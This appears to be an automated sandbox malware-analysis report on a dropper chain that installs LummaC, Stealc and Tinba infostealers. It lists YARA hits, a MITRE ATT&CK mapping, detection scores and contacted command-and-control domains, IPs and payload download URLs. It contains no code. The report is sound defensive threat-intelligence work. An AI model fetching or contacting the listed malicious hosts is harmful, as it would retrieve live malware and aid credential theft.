Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe

Directory queried: number of queries: 1770

Source: Yara match	File source: 0000000B.00000003.2620037561.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2604132730.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2663928952.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2603773117.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2623464968.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2636516772.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2623251409.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2603721155.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2604385825.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 1168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 6376, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000015.00000002.2921279103.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8X6R8OO7U6CNLMSAL.exe PID: 4192, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 1168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea2c7beae0.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 15.0.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.num.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.6a8d4317d4.exe.d20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2900581975.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2537460651.000000000095E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2654891019.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2881192763.0000000005160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.2678859508.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2695730886.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2864835627.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.2883036920.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2730538903.0000000000651000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2496940953.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2821857520.0000000005490000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2538148341.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 5168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6a8d4317d4.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	212 Process Injection	4 Obfuscated Files or Information	Security Account Manager	21 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	125 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
h3yRbjNWk1.exe	45%	ReversingLabs	Win32.Packed.Generic
h3yRbjNWk1.exe	100%	Avira	TR/Crypt.TPM.Gen
h3yRbjNWk1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\1000350002\6a8d4317d4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\1000350002\6a8d4317d4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000401001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\1000350002\6a8d4317d4.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1000401001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe	45%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	45%	ReversingLabs	Win32.Packed.Generic

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900/inventory/	100%	URL Reputation	malware
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	true	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
spirittunek.store	unknown	unknown	true	unknown
licendfilteo.site	unknown	unknown	true	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.103/luma/random.exe	false		unknown
studennotediw.store	true		unknown
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
eaglepawnoy.store	true		unknown
http://185.215.113.37/	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	ea2c7beae0.exe, 0000000B.00000003.2604502304.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2604288546.00000000054EF000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2785893107.0000000005384000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2786052209.000000000536D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php395d7fac00b58987e8fff7a7df309c5441f	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/acces	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2813780457.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2664262344.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587419706.0000000000A8D000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A29000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstat=_	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	ea2c7beae0.exe, 0000000B.00000003.2648290492.00000000054C1000.00000004.00000800.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2817250270.0000000005375000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://licendfilteo.site/	ea2c7beae0.exe, 00000010.00000003.2741411555.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/	ea2c7beae0.exe, 00000010.00000003.2764879764.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.steamstatic.com/public/css/globalv2.css?v=dQy8Omh4p9PH&l=english	ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.gstatic.cn/recaptcha/	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/S	6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000006.00000002.2921573681.0000000001468000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/L	6a8d4317d4.exe, 00000008.00000002.2537460651.00000000009B6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/M	num.exe, 0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.valvesoftware.com/legal.htm	ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/rs	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf03	skotes.exe, 00000006.00000002.2921573681.0000000001479000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/pki/ceP	ea2c7beae0.exe, 00000010.00000002.2919863056.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpo	num.exe, 00000013.00000002.2904376187.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpv	6a8d4317d4.exe, 00000008.00000002.2537460651.00000000009CF000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://eaglepawnoy.store:443/api4Y	ea2c7beae0.exe, 0000000B.00000003.2587521700.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587799126.0000000000A15000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/v	num.exe, 0000000F.00000002.2731328670.0000000001234000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phps	6a8d4317d4.exe, 00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	ea2c7beae0.exe, 00000007.00000003.2451885137.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000007.00000003.2443425929.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587713979.0000000000A99000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2587387508.0000000000A95000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668673015.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668287945.00000000016F5000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.000000000168D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680934463.00000000016F0000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 00000010.00000003.2764841551.0000000000832000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/bisy	ea2c7beae0.exe, 0000000B.00000003.2620311804.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2623251409.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, ea2c7beae0.exe, 0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site/J	ea2c7beae0.exe, 00000010.00000003.2740761284.00000000007BD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	skotes.exe, 0000000D.00000003.2668339801.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/s	6a8d4317d4.exe, 0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://eaglepawnoy.store:443/api	skotes.exe, 0000000D.00000003.2668339801.0000000001676000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.2680736225.0000000001676000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpd	6a8d4317d4.exe, 0000000E.00000002.2695281635.00000000009B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
